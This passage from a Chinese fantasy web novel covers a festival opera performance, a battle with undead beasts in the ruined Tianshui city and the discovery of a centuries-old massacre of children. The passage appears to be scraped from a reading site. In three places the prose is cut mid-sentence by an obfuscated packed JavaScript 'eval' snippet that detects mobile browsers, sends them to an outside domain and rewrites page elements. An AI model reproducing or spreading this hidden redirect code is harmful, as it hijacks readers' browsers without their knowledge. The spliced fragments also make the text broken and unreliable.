方妙挤在最前排,脖子仰得酸痛,转头冲柳漠澜喊:"这算啥!最绝的在夜市!" 最热闹的还属难得一见的傀儡戏。 四米高的木头巨人踩着鼓点晃晃悠悠出场,眼眶里点着红蜡烛,嘴里能喷火,吓得小娃娃直往大人怀里钻。突然巨人肚子“咔嗒”裂开,钻出个耍猴戏的小傀儡,举着铜锣满场跑。 “快看!那边套圈能赢糖人,咱们去!” 三人挤到摊位前,方妙撸起袖子就要大展身手。结果竹圈套出去歪歪扭扭,全砸在胖摊主脑门上。安德鲁看不下去,随手一抛就套中了最顶上的凤凰糖人。 随着暮色渐浓时,空中突然炸开一朵烟花,抬头望去,只见无数盏孔明灯正顺着风势升上夜空,像漫天坠落的星星..... 还没到云锦戏台,就听见咚咚锵的锣鼓声震得人耳膜发颤。 方妙踮着脚扒开人群往前挤:"快!开场了!"柳漠澜被她拽得踉跄,却见前方红绸翻飞,二十来个戏子举着彩旗涌上台,金镶边的戏服晃得人睁不开眼。 "好——!"台下炸开一声喊。领唱的花脸汉子突然扯着嗓子飙出高音,声如洪钟震得瓦片直响。他甩着长长的髯口左冲右突,身后群演跟着翻跟头、劈叉,水袖甩得漫天飞舞,看得人眼花缭乱。 柳漠澜正觉得热血上涌,锣鼓声突然骤停,戏子们齐刷刷退到台边,露出中间三丈见方的空地。 马蹄声由远及近,三匹枣红马旋风般冲上台!马上三人装束各异——左边剑客银甲配双剑,右边刀客玄袍缠锁链,中间使红缨枪的将军最为惹眼,披着猩红披风,脸上带着面具,头顶两根丈二翎子随着动作唰唰生风。 "呛啷"一声,双剑和锁链同时攻来,只见将军拧腰侧身,红缨枪舞成一片枪花,枪头红缨扫过之处火星四溅。 方妙攥着安德鲁袖子直摇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694741|173401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晃:"快看那枪!"话音未落,那将军突然一夹马腹,战马人立而起,他踩着马鞍腾空跃起,翎子划破夜空般甩出残影。 双剑从两侧刺来,他竟用枪杆卡住剑刃,借力翻身倒悬,红缨枪尖直取刀客咽喉! 那剑客反应极快,身子往后一仰,几乎平躺在马背上,剑锋擦着鼻尖掠过。说时迟那时快,右侧剑客趁机从侧面突袭,长剑直刺枪客腰间。枪客旋身拧腰,红缨枪突然脱手飞出,在空中划出半道血红色弧线,“当”地一声把偷袭的剑砸得脱手飞出! 全场爆发出山呼海啸般的叫好声!还没等众人喘口气,枪客竟单脚点鞍,凌空翻身跃向丢剑的剑客。 他赤手空拳夺过对方腰间软鞭,手腕一抖,鞭梢如灵蛇般缠住对方脖子。另一个剑客见状,挥剑直刺枪客后背,却见枪客猛地拽着软鞭后拉,将挟持的人挡在身前,剑锋“噗”地刺入皮肉,溅起的血点子洒在戏台的红绸上! 最后,枪客一脚踹飞两个剑客,红缨枪重重杵在戏台中央。 他扯下披风甩向空中,露出里面金光闪闪的锁子甲,仰头发出震耳欲聋的长笑。全场观众跟着沸腾,叫好声、鼓掌声、跺脚声混成一片,连柳漠澜都忍不住跟着拍起手来。 方妙更是激动得满脸通红,扯着嗓子喊:“这也太牛了!比我抓贼还精彩!” 戏台上硝烟未散,那身披金锁甲的将军忽然勒转马头。枣红马踏着得胜鼓点缓行,他手中红缨枪在灯笼下划出暗红弧线,枪杆上的铜铃随着步伐轻晃,发出细碎的声响,围观人群的议论声戛然而止——只见那将军猛地一抖腕子,寒光如毒蛇吐信般刺向台下!柳漠澜还未及反应,冰凉的枪尖已堪堪挑起他的下颌。 将军俯下身时,头顶两根雉鸡翎随着动作弯成月牙,柔软的羽毛轻轻擦过脸颊,带起一阵酥麻的痒意。 四目相对的刹那,将军眼底闪过一丝戏谑的笑意。他忽然低笑出声,声音混着戏腔的尾音,带着几分说不出的暧昧:“这位公子,可要与某家共赴沙场?”话音未落,红缨枪已如灵蛇般缩回,带起的劲风卷乱柳漠澜额前碎发。 将军双腿一夹马腹,枣红马长嘶着人立而起,那两个剑客不知何时已跃上马来,三人并辔疾驰转眼消失在戏台后的月洞门。 方妙攥着安德鲁的袖子,半天才找回自己的声音:“这、这也太突然了!”转头却见柳漠澜指尖摩挲着被枪尖触碰过的下颌,神色晦暗不明,也不知在想些什么。 戏台上的锣鼓声又骤然响起,彩衣戏子踩着鼓点鱼贯而出,水袖翻飞间,仿佛方才的惊心动魄仿佛只是一场幻梦。 就当三人准备离开时,江知烨不知何时鬼魅般贴了过来,湿漉漉的发丝还沾着戏服上的金粉,像只刚偷喝完酒的花孔雀。 "怎么样?方才本大人的红缨枪,是不是帅得惊天地泣鬼神?"江知烨冲安德鲁挑眉,两人拳头相撞时带起“砰”的脆响。他身上还沾着戏服的胭脂味,眉眼间却藏不住得意。 见状安德鲁上下打量着他,嘴角勾起坏笑:“早知道你这家伙还有这手绝活,下次缉拿要犯不如直接扮戏子。” “冤枉啊!明明是这两小屁孩非拉着我.....” 顾时夜突然从江知烨背后冒出来,额角还沾着假血,活像只炸毛的野猫:"别听他瞎掰!明明是他拽着我们俩当陪练,说什么''实战才能出真章'',结果枪杆抽在背上比真打还疼!"说着撸起袖子,露出几道红痕。 顾夜白跟着揉着腰哼哼唧唧:"就是就是!我这腰差点被他拧成麻花,早知道就该在他枪头绑棉花!" “住口!”江知烨涨红着脸,伸手去拧顾夜白的耳朵,“叫你拆台!叫你拆台!” “大人你这样臭不要脸!”顾夜白疼的龇牙咧嘴,顾时夜识相地偷偷挪开几步,深怕殃及自己。 闻言江知烨倒打一耙,胳膊重重搭上白鸽肩膀:"瞧瞧,这就是我一手带出来的‘好下属’,连玩笑都开不起。白鸽,你说是吧?" "您可别攀关系。"白鸽灵巧地钻开,指尖点在江知烨胸口,"整个南清城都知道,江大人玩起来比三岁小儿还疯。" “白鸽你!” 方妙突然想起什么,蹦跳着凑过来打断江知烨的话:"对了!你刚刚拿枪挑柳老板下巴,到底安的什么心思?" 空气瞬间凝固。 柳漠澜慢悠悠转动着袖口的云纹,似笑非笑道:"我也很好奇,江大人这出''美人计'',究竟是哪门子的戏码?" 江知烨耳朵根子泛红,梗着脖子辩解:"哪有!本大人就是觉得......觉得那个角度耍枪最威风!谁让柳老板生得比戏子还好看,不拿来当道具可惜了! "他突然伸手勾住柳漠澜的肩膀,却被对方用帕子精准拍开。 "拿我当枪靶子,江大人好大的威风。"柳漠澜侧身避开,"不如下次换你站在台下,尝尝被枪尖指着的滋味?" 安德鲁适时揽住方妙的肩膀,往热闹处带:"好了好了,百戏节的夜市才刚开始,再不走糖人摊要收摊了。" 一听这话,两兄弟早就按捺不住,像两只撒欢的兔子窜进人群,顾时夜还不忘回头喊:"谁先抢到龙须糖,谁就是今晚的英雄!" 江知烨厚着脸皮跟上柳漠澜,伸手要去勾他胳膊:"小漠澜别生气嘛,我请你喝桂花酿赔罪?" "拿开你的爪子。"柳漠澜嫌弃地拍掉他的手,却不自觉放慢行走速度。 熙熙攘攘的大街上,七个人的影子被灯笼拉得老长。街边小贩的吆喝声、孩童的欢笑声,混着远处传来的零星锣鼓,把南清城的夜晚酿得愈发香甜。 10. 诅咒之城,天水城 自上次的游玩后,七人的关系变得愈发融洽。 闲暇时,方妙总爱拉着柳漠澜逛街解闷,而江知烨也终于处理完了那桩盗窃案——鸟族兽人趁着夜色洗劫了玉宝清,可出城后,大概是撞上了出逃的猫族兽人,惨遭杀害。最终,众人通过伤口痕迹以及失而复得的玉石,才将这起案件查得水落石出。 北城区设有专门管理草肉杂食事务的衙门,平日里,这些琐碎小事都由他们处理,江知烨因此轻松了不少。 可这份闲适还没享受多久,安德鲁便派白鸽送来一则惊天消息。 “城中来了大量难民,据调查,他们所在的天水城被大量异变兽人袭击。”白鸽神色凝重,将调查笔录递给江知烨。 “异变兽人?”江知烨眉头微挑,眸中闪过一丝警惕。他只知道堕入邪道的兽人会发生异变,但失控伤人的还是少见。 “我知道了。通知渡鸦、夜鸦、子规,你也跟上,立刻整备,准备出发。”江知烨不敢有丝毫懈怠,“对了,你去告诉安德鲁,让他通知各个管理官府,妥善安顿难民。” “是!”白鸽干脆利落地应下,转身飞奔而去。 江知烨深知此次对手的可怕,赶忙拿上尤冰剑别在腰上。就在这时,顾时夜、顾夜白和方妙匆匆赶来。 “大人,我们先去哪儿?”顾时夜神色严肃,紧紧跟在江知烨身旁。 “先去天水城,看看是否还有未撤离的难民。这次袭击太过蹊跷,一次性出现这么多异变兽人,背后肯定有不为人知的阴谋。”江知烨说罢,翻身上马,顺手将方妙拉到身后,双腿一夹马腹,朝着城外疾驰而去。顾时夜、顾夜白随即展开翅膀,如离弦之箭般,飞在空中紧随其后。 天水城,曾以城中那条宛如玉带的天河闻名。天河穿城而过,河水清澈甘甜,在古老的文化中,“天水”象征着纯洁与神圣,人们坚信这水来自天上,能洗净世间一切污秽,带来安宁与祥和,可后来这里却被世人说成诅咒之城。 抵达天水城时,眼前的景象让众人倒吸一口凉气。 曾经繁华的城池,如今破败不堪,满目疮痍。难民们早已逃之夭夭,那些没能逃走的人,鲜血染红了天河,曾经清澈的河水变得猩红可怖,再不复往日的灵动。 “可惜了,好好一座城,就这么成了死城。”江知烨翻身下马,目光环顾四周。他轻轻拍了拍方妙的腿,“小丫头,抓紧了,我们往里走走。”说罢,便牵着缰绳,小心翼翼地朝着城中走去。 “大人,这里阴森森的,让人浑身发毛。”顾夜白忍不住打了个寒颤,下意识地往顾时夜身边靠了靠。 “都打起精神,小心戒备。也不知道白鸽什么时候能到,他擅长侦查,有他帮忙,我们能省不少事。”江知烨皱着眉头,眼神警惕地扫视着残破不堪的街道。直觉告诉他,危险,正在逼近。 就在这时,几道黑影如鬼魅般在废墟中快速穿梭。 "嘶——"战马突然人立而起,前蹄在半空乱蹬。江知烨扯住缰绳的刹那,瞥见废墟堆里闪过幽绿磷火。 “大人,那......那墙根下是不是......” "散开!"江知烨旋身将方妙拽至身后,腰间尤冰剑出鞘时划出半轮寒月。顾氏兄弟的青锋剑早已嗡鸣出鞘,四人背靠背结成防御阵形。 碎石堆轰然炸开,三头足有半人高的恶犬破土而出,腐烂的皮肉下白骨嶙峋,腥臭的黑血顺着獠牙滴落,将地面腐蚀出缕缕青烟。 方妙咬着下唇抽出袖白雪,薄刃映出她煞白的脸。 左侧恶犬率先扑来,腥臭气息扑面而来,她旋身错步,剑锋直取喉间三寸。却不想腐肉下的骨骼竟硬如精钢,"当"地一声火星四溅,反震之力震得她虎口发麻。 江知烨长剑斜刺,在恶犬转头的瞬间挑飞其半张下颌,黑血喷涌如注,溅在斑驳的城墙上宛若绽开的墨梅。 顾时夜的银剑突然脱手飞出,竟是被另一头恶犬的利爪拍落。顾夜白嘶吼着挥剑挡在兄长身前,剑刃却被恶犬咬住,犬齿与剑身摩擦出刺耳的尖啸。 千钧一发之际,方妙飞身上前,袖白雪刺入恶犬后颈,温热的黑血顺着剑格淌过她冰凉的指尖。 "还有!"江知烨突然暴喝,剑锋急转刺向身后。 第四头巨狼不知何时已潜至众人背后,利爪堪堪擦过江知烨肩胛,将玄色披风撕成碎布。 血腥味彻底激发了这些怪物的凶性,又有五六个黑影从坍塌的民居中窜出,嘶吼声在死寂的城池里回荡,如同来自幽冥的丧钟。 方妙感觉自己的手腕在颤抖,袖白雪上的黑血越积越厚。江知烨的软剑舞成银龙,剑气所及之处腐肉横飞,却在转身时被巨狼咬住肩头。 顾氏兄弟双剑合璧,剑光如电,终于将围攻江知烨的恶兽逼退。混战中,顾夜白突然发出惨叫——他的小腿被恶犬死死咬住,鲜血浸透靴筒。 "聚阵!"江知烨声音沙哑,肩头的伤口不断渗血,染红了半边衣襟。 四人背靠背结成圆阵,兵器碰撞声与兽类嘶吼声响彻天际。方妙感觉自己的体力在飞速流逝,眼前的怪物却似乎无穷无尽。 就在绝望蔓延的瞬间,远处突然传来清亮的鸽哨声,紧接着,破空声大作,无数箭矢如暴雨般倾泻而下,将最后几只怪物钉死在断壁残垣之上。 硝烟散尽,天水城重归死寂。 江知烨单膝跪地,长剑撑地,剧烈喘息震得染血的胸膛起伏不定。方妙踉跄着扶住他颤抖的肩膀,指腹触到的却是滚烫的皮肤——那些怪物的黑血,竟在伤口处滋滋作响。 "大人!"白鸽落地时指尖已扣住江知烨腕脉,瞥见那溃烂的伤口时瞳孔骤缩,"是尸毒!得赶紧——"话未说完便被江知烨拽住手腕,染血的指尖还在发颤,语气却冷硬如铁:"分两队,你带二十人探西市,其余人清剿残兽。" 顾时夜正半跪着托住弟弟,顾夜白的小腿伤口翻着黑红的皮肉,牙关咬得咯咯作响却硬撑着笑:"哥别慌,当年被狼咬穿大腿都没死..."话到尾音却因兄长按上伤口的力道而闷哼。 "我去找药!"她攥紧袖白雪的手突然松开,转身时瞥见街角半掩的药铺匾额。 "济世堂"三个金字已剥落大半,门框上还缠着枯黄的藤蔓。踩过碎成齑粉的门槛时,脚下突然咯到硬物——是半具风干的药童尸体,怀中还抱着个漆盒,里面整齐码着金创药的蜡丸。 药铺后堂的药柜倒了大半,方妙借着天光扒拉药材,指甲缝里嵌满木屑与药粉。当她发现墙角那缸浸着冰魄草的药酒时,险些碰翻积灰的陶瓮——这是边防军专用的拔毒药,寻常药铺断不会有。 怀里抱着药碾子和绷带往回跑时,布鞋踩过青砖上的血渍打滑,却死死护着怀里的药包没撒出半点。 "用酒洗伤口!"她喘着气跪在江知烨身侧,扯开他染血的衣襟。 男人肩头的伤口已烂出指节深的凹痕,黑血混着腐肉往下滴,方妙咬着唇将药酒泼上去,火苗般的灼痛让江知烨猛然绷紧脊背,却硬生生将闷哼咽了回去。 顾时夜正用银剑挑开弟弟腿上的腐肉,顾夜白疼得整张脸煞白,却还盯着方妙手中的药罐胡扯:"妙儿姐这手艺比军营的老军医强...当年他给我换药,疼得我把他的药碗都砸了..."话没说完便被兄长敲了一记后脑勺:"再废话,让你自己上药。" 白鸽带着暗卫回来时,正撞见方妙用牙咬开绷带替江知烨包扎。满地狼藉中,那抹素白衣袖翻飞如蝶,男人染血的指尖却还虚虚护着她腰侧,生怕自己摇晃时撞疼了人。 他突然想起很久前在驿站,自己和安德鲁被三十杀手围堵,安德鲁也是这样用身体护着自己,最后后背插着三支箭还在笑:"老子的人,你们也敢动?" "大人,西市发现密道。"白鸽压低声音,目光扫过几人身上的绷带,"但地道里...有活物。"他顿了顿,袖中滑出半片染着冰蓝色荧光的鳞甲,在暮色中泛着妖异的光——那是只存在于边塞传说中的东西,据说生于极寒之地,鳞片能映出人心底的恐惧。 江知烨扯过披风裹住肩头,指尖抚过那片鳞甲时,伤口的灼痛突然化作刺骨的寒意。 "休整半个时辰。"江知烨撑着剑站起身,"你们兄弟留守,我带白鸽探密道。" 话音未落便被方妙拽住袖口,少女仰头望着他,眼中映着天边将熄的残阳:"我跟你去。"她说着晃了晃腰间的袖白雪,剑穗上还沾着未干的黑血,"你受伤时,我比谁都靠得住。" 远处传来夜枭的啼叫,断墙上的荒草在风中沙沙作响。 江知烨望着她被血污浸透的衣袖,忽然轻笑一声,指尖弹了弹她额角:"小丫头片子,倒记得我教你的后颈死穴。"转身时顺手将她往自己身后一带。 密道口的青苔在夜色中泛着微光,白鸽的火折子照亮洞壁时,所有人的呼吸都凝住了——石壁上刻满密密麻麻的水纹,每道纹路里都嵌着半凝固的黑血,在火光下折射出诡异的光影,仿佛整座天水城的冤魂,都被封在了这潮湿的地道里。 "大人,石壁不对劲。"白鸽的火折子凑近时,青铜簧片摩擦声在静谧中格外刺耳。 在凹凸不平的岩面上,方妙忽然想起城中水井里漂着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694742|173401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的死鱼,眼珠都被剜去,腹下也有这样弯弯曲曲的刻痕。 江知烨的指腹划过某道水纹,指尖突然刺痛——黑血痂下竟嵌着半片鱼鳞。 三日前在城郊破庙,他们曾发现同样鳞甲嵌在枯井砖缝里,当时他便疑心这死城的灾祸,或许与传说中能操控水脉的异族人鱼---"寒鳞族"有关。 "这些水纹...像在画地图。"方妙忽然出声,剑穗扫过石壁。 她顺着纹路比划,发现所有曲线都汇聚向深处某个点,"像是指引着地下暗河的走向..."话未说完,肩头突然被江知烨按住,男人染血的掌心透过单衣传来灼热,却比平日多了丝不易察觉的颤抖。 白鸽的火折子突然明灭不定,地道深处传来水滴坠落的回响,嗒——嗒——像有人用指节叩击石板。 方妙感觉到江知烨的拇指在她肩骨上轻轻摩挲,这是他惯常的暗号,表示前方有活物。 "跟着我,踩我的脚印。"男人低沉的嗓音混着呼吸拂过耳畔。 当火折子重新亮起时,三人俱是一怔——方才还平整的石壁,此刻竟在水纹交汇处浮现出浅浮雕,刻着个怀抱水瓶的女子,长发垂落如瀑,每根发丝都缠着冰蓝色的鳞片。更诡异的是,女子鱼尾下的波纹里,密密麻麻全是极小的人脸浮雕,五官扭曲,似在哭喊。 "寒鳞圣女..."白鸽的声音发颤,"传说中能引动天水的异族首领,百年前被铁蹄踏平部族,残党据守死城诅咒..."话到此处突然顿住,因为他看见江知烨正盯着圣女浮雕的眼睛——那双由黑血填成的眼眶里,此刻竟倒映着跳动的火光,仿佛下一刻就会睁开。 方妙忽然闻到极淡的铁锈味,比先前的兽血更腥甜。 她低头看去,发现江知烨按在石壁上的掌心正在渗血,伤口处的黑毒竟被石壁缓缓吸收,原本溃烂的皮肉以肉眼可见的速度结痂。 "大人!"她慌忙去拽对方的手腕,却被男人反手扣住指尖,他望着逐渐清晰的浮雕,眼底翻涌着她从未见过的沉郁:"六百年前,我爹奉命围剿寒鳞族残部,带队攻入天水城的那晚,正是中元节。" 水滴声突然密集起来,像万千细针砸在石板上。 白鸽猛地转身,火折子照亮身后三丈处的拐角,那里不知何时立着具骸骨,残破的衣料上绣着褪色的水纹,腰间悬着的青铜瓶正滴滴答答漏着黑血。 江知烨的手指骤然收紧,方妙感觉到他掌心的薄茧划过自己指腹。 此刻地道里的风卷着霉味灌进来,吹得火折子明灭不定,方妙却在摇曳的光影里看见,江知烨望着骸骨的眼神,像在看一段被鲜血浸透的旧梦。 "走。"江知烨忽然出声,指尖弹了弹方妙冰凉的耳垂,仿佛要弹走她眼底的担忧,"去看看,当年他们究竟把''天水''藏在了哪里。"他踏前半步,靴底碾碎骸骨脚边的瓷片,发出细碎的脆响。 方妙注意到,那些瓷片上也刻着极小的水纹,每一道都指向地道更深处,在黑血的反光中,宛如无数双眼睛在催促他们前行。 白鸽走在最前,火折子的光圈扫过洞顶时,所有人的后颈都爬上寒意——石缝里嵌着十几具风干的尸体,全作跪拜状,面朝圣女浮雕。 地道突然变窄,前方传来潺潺水声。当火折子照亮暗河的刹那,方妙手中的袖白雪"当啷"落地——墨色水面上漂着上百具浮尸,全是孩童模样,颈间系着冰蓝色的鳞甲,每具尸体的胸口都刻着与石壁相同的水纹,黑血早已凝固,却仍能看出刻痕的走向,正是指向他们此刻站立的位置。 "是寒鳞族的血脉祭..."江知烨的声音低得几乎听不清,他望着水中倒映的圣女浮雕,突然想起父亲临终前的呓语:"别去天水城...井底的眼睛...在数着人头..."此刻暗河的水正漫过他的靴底,凉意顺着脚踝爬上来,却比不过心口的寒意——当年那场所谓的"平叛",或许根本就是一场对异族血脉的残酷清洗。 方妙抬头看向江知烨,发现他正盯着水中浮尸的眼睛,那些空洞的眼窝里,竟缓缓浮出冰蓝色的光斑,像极了方才在密道口看见的鬼火苔。 而更远处的暗河尽头,一座由人骨堆砌的祭坛正在阴影里若隐若现,祭坛中央的青铜巨瓶敞着口,里面不断翻涌着黑血。 水滴声突然停止,整个地道陷入死寂。方妙听见自己的心跳声在耳畔轰鸣,忽然意识到,从他们踏入密道开始,那些本该存在的尸兽嘶吼声,竟再也没有响起——这座死城的地下,或许藏着比地面更可怕的真相,而他们,正一步步走进一场诅咒的核心,走进一个被黑血与诅咒浸泡了的噩梦。 11. 对不起 江知烨的脊背突然绷紧,他望着前方暗河水面,发现漂浮的孩童浮尸不知何时调转了方向,眼窝处的冰蓝光斑正对着他们的脚踝。 "啧....怎么回事......火折子。"白鸽的声音带着不易察觉的颤音,青铜簧片连擦三次才溅出火星。 摇曳的火光里,洞顶垂落的钟乳石映出诡异的阴影,那些本该静止的石笋,此刻竟像极了密密麻麻的人形轮廓,垂着的"手臂"正滴滴答答往下淌着水——不,不是水,是方才在尸兽伤口见过的黑血,正沿着石笋表面凝结成细链,在他们头顶织成一张倒置的血网。 "大人,尸兽的声音..."白鸽突然压低嗓音,手按在腰间弩机上,"从进城到现在,至少该有三波袭击,可自从我们进入密道..."他的目光扫过洞壁上跪拜的干尸,发现他们握拳的指缝间,都卡着半片鳞甲,"当年屠城的军士,是不是被做成了活尸饵?用来引开闯入者,真正的诅咒核心..." "六百年前,中元节末时。"江知烨的声音突然低哑,"我爹的前锋营就是在子时三刻攻入西市,那时满城百姓都在井边摆着水瓶,说是祭奉寒鳞圣女的''天水''..."他盯着祭坛上的青铜瓶,突然想起乳母临终前的哭号:"少将军快去看看吧,你父亲每晚都在磨那把染血的鱼鳞刀,说井里的眼睛在数他杀过的人头..." 暗河水面突然泛起细不可闻的涟漪,漂浮的孩童浮尸开始缓缓下沉,眼窝处的蓝光却越来越亮,像一盏盏被吹熄的灯,次第没入墨色水中。 "退到密道口。"江知烨突然开口,声音里带着不容置疑的冷硬,却在推方妙的瞬间,指尖悄悄塞给她一枚刻着星纹的铁哨。 那是只有他们两人知道的求救信号,几个月前他教她吹的时候,曾说"吹响这个,就算老子在黄泉路上,也得爬回来接你"。 白鸽刚转身,火折子突然"噗"地熄灭。无边的黑暗里,方妙听见江知烨拔剑的清响,紧接着是血肉被划破的闷哼——不是尸兽,是人的声音。 她摸向袖中机关,袖白雪出鞘的刹那,火折子重新亮起,却见江知烨左肩又添新伤,而方才还跪拜在洞壁的干尸,此刻竟有三具站在十步外。 "是...活尸?"白鸽的弩箭对准最近的干尸。 暗河深处传来巨石转动的轰鸣,祭坛中央的青铜瓶突然剧烈摇晃,黑血如喷泉般涌出,在地面画出巨大的水纹阵。 当第一滴黑血落在方妙剑尖时,整个地道突然响起孩童的哭声,从四面八方涌来,如同当年她在漠北听见的,那些逃亡中孩子们的哭喊。 "子规,跟着白鸽出去。"江知烨突然将她推向暗道口,自己却逆着水纹阵走去,靴底在黑血上踩出暗红的脚印,"我得看看,当年他们到底在祭坛下埋了什么。" 地道顶端的血网突然断裂,数十滴黑血砸落的瞬间,江知烨猛地转身,用剑柄磕开方妙头顶的钟乳石。 而此刻,在越来越近的孩童哭声里,在逐渐清晰的,来自祭坛深处的,仿佛有人在呼唤"天水"的低吟中,或许,这座死城的诅咒,从来不是来自寒鳞族的圣女,而是来自六百年前,那些被埋在暗河下的,永远无法安息的,百余个孩童的冤魂——和他父亲,以及所有参与屠城的军士,永远无法洗净的,沾满黑血的双手。 “大人,祭坛在动!”白鸽的火折子险些落地,青铜簧片摩擦出的火星照亮了令人窒息的一幕——方才还静止的人骨祭坛正像活物般舒展,由腿骨拼成的祭坛边缘裂开,露出下方环形水槽里浸泡的百具陶罐。 江知烨的视线突然被祭坛中央的骸骨拽住——那具盘膝而坐的骨架腰间,缠着半块裂成三瓣的羊脂玉牌,断口处的血沁与他自幼佩戴的半块严丝合缝。他猛地想起乳母临终前塞给他的锦囊,里面那片刻着“阿念”的鳞甲,此刻正漂在最近的陶罐表面,鳞光映着他颤抖的瞳孔。 “他们不是乱民……”方妙的声音卡在喉间,“是孩子……全是孩子……”她指着陶罐里露出的小手骨,腕骨上系着的银铃。 暗河水面突然炸开细小的漩涡,百具陶罐同时发出“咔嗒”轻响,封盖的黄符如被风吹散的纸钱,纷纷沉入水底。 江知烨看见每具陶罐里都漂着片鳞甲,鳞甲中央竟凝着孩童临终前的记忆:有穿着寒鳞族服饰的小女孩抱着母亲的腿哭泣,有裹着中原童装的男孩被军士拎起衣领,还有个婴儿被塞进陶罐时,眼角还挂着未干的泪痕——这些被军报称为“寒鳞余孽”的“乱民”,分明是尚在襁褓的幼童。 “爹……疼……”含混的童声突然在耳畔炸开,江知烨踉跄着扶住石壁,指尖陷入刻着水纹的凹痕——那是孩童指甲抓挠的痕迹,像极了父亲旧部们每晚在军营里,被噩梦折磨时抓挠出的血痕。 方妙忽然拽住他的手腕,将他的掌心按在祭坛中央的骸骨胸前——那里嵌着半块染血的兵符,正面刻着“平叛先锋”,背面却用寒鳞族文字刻着:“天水非水,是三百童眸;将军问罪,先数颈间鳞”。 江知烨的呼吸骤然停滞,他想起父亲每次醉酒后都会盯着他的眼睛喃喃。 “烨儿,井里的眼睛在数……数我杀了多少个孩子……” 原来不是醉话,是六百年前那个中元节,当寒鳞族打开城门投降时,前锋营接到的命令,根本不是“清剿余孽”,而是——“屠尽所有血脉”。 黑血突然在祭坛表面聚成镜面,映出六百年前的场景:他的父亲握着染血的鱼鳞刀,站在摆满陶罐的祭坛前,身后三百军士举着火把,照亮了寒鳞族族长跪地的身影——对方怀里抱着的,正是颈间系着“阿念”鳞甲的小女孩。“求你们留孩子们一命……”老族长的哀求被刀光斩断,陶罐破碎的声音与孩童的啼哭交织,最终都被暗河的水流吞噬。 江知烨忽然笑了,笑声混着咳出的血沫落在黑血镜面上,惊碎了六百年前的画面。他摸向颈间的半块玉牌,终于知道为何父亲临终前要将玉牌掰成三瓣——一瓣随他入葬,一瓣留给自己,还有一瓣,永远嵌在寒鳞圣女的掌心。 而此刻,圣女骸骨的掌心正缓缓升起半瓶清水,在血雨纷飞中折射出彩虹般的光,那是被三百童魂血祭封存了六百年的,真正的“天水”。 “不是诅咒……”他跪在祭坛前,指尖抚过陶罐上孩童的刻痕,“是三百个孩子用生命下的契约——让每个戴着‘平叛’玉牌的人,都要在暗河里听见他们的哭声,看见他们的骸骨,直到有人愿意停下屠刀,承认当年的罪孽。” “现在我数清了——三百个孩子,三百道伤疤,真正的天水——是孩童哭泣的眼泪。” “对不起。”江知烨对着骸骨跪下,声音轻得像怕惊醒沉睡的孩子,“六百年前,我爹杀了你们,今天我来替他还债。” “天水来了,你们可以回家了……” 当第一缕晨光从密道口渗入时,暗河的黑血开始退潮,露出河床上用孩童骸骨摆成的“冤”字。 这座死城从来不是诅咒的牢笼,而是三百个幼魂用生命筑起的,永远不会被风沙掩埋的墓碑——碑上刻着的,不是寒鳞族的仇恨,而是人性最深处的,那些被权力碾碎的、本应天真无邪的笑靥。 “走吧。”江知烨擦去方妙脸上的血痕,“去把真相带给世人,让‘天水城’不再是死城,让所有的‘阿念’,都能在阳光下,喝上一口真正的,不带血的天水。” 少女望着他掌心被玉牌勒出的血痕,回想起初见时他说的那句话:“跟着我,死不了。” 此刻地道深处传来潺潺水声,不是黑血的涌动,而是真正的清泉在石缝间流淌。 她知道,当他们带着祭坛的秘密重返人间时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694743|173401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那些被埋在暗河下的童魂,或许仍会在每个雨夜啼哭,但至少,这一次,有人愿意停下脚步,倾听他们被鲜血浸透的,从未被诉说的故事...... 等到一行人回到南清城时已是五日后了,此时安德鲁已经安排好了难民,方妙激动的和他讲着发生的事情,而江知烨只是默默路过众人,独自把自己关在卧房内。 房门被推开时带起一阵冷风,安德鲁看着对方背对他站在窗前,面前是摆着的一把旧剑。 那柄旧剑他认得,是江知烨父亲留下的遗物,剑鞘上斑驳的纹路像极了老人眼角的皱纹。 “在想什么?”安德鲁随手拉过竹椅坐下,竹篾发出细微的吱呀声。 江知烨突然轻笑一声,声音里带着自嘲:“你说,我是不是和我父亲越来越像了?” 安德鲁自然明白江知烨话里的意思,多年的挚友他太清楚江知烨是一个什么样的人——好的不彻底,坏的不纯粹。 这才是最煎熬的,狠不下心做到绝对的绝情却又做不到真正的善良。他还记得江知烨杀死第一个的人时候,在柴房吐的昏天暗地。 “这世道就是这样,”安德鲁望着窗外摇晃的树影,“不攥紧刀的人,早晚会变成别人刀下的肉。你以为那些难民为什么能活到现在?” “你说获得真元的准则到底是什么?”江知烨手抚上心口,像是被什么东西狠狠刺痛,“若善良是天道,那我们这些沾满鲜血的人,凭什么还能凝聚真元?” 安德鲁沉默良久,直到烛火将两人的影子拉得老长。 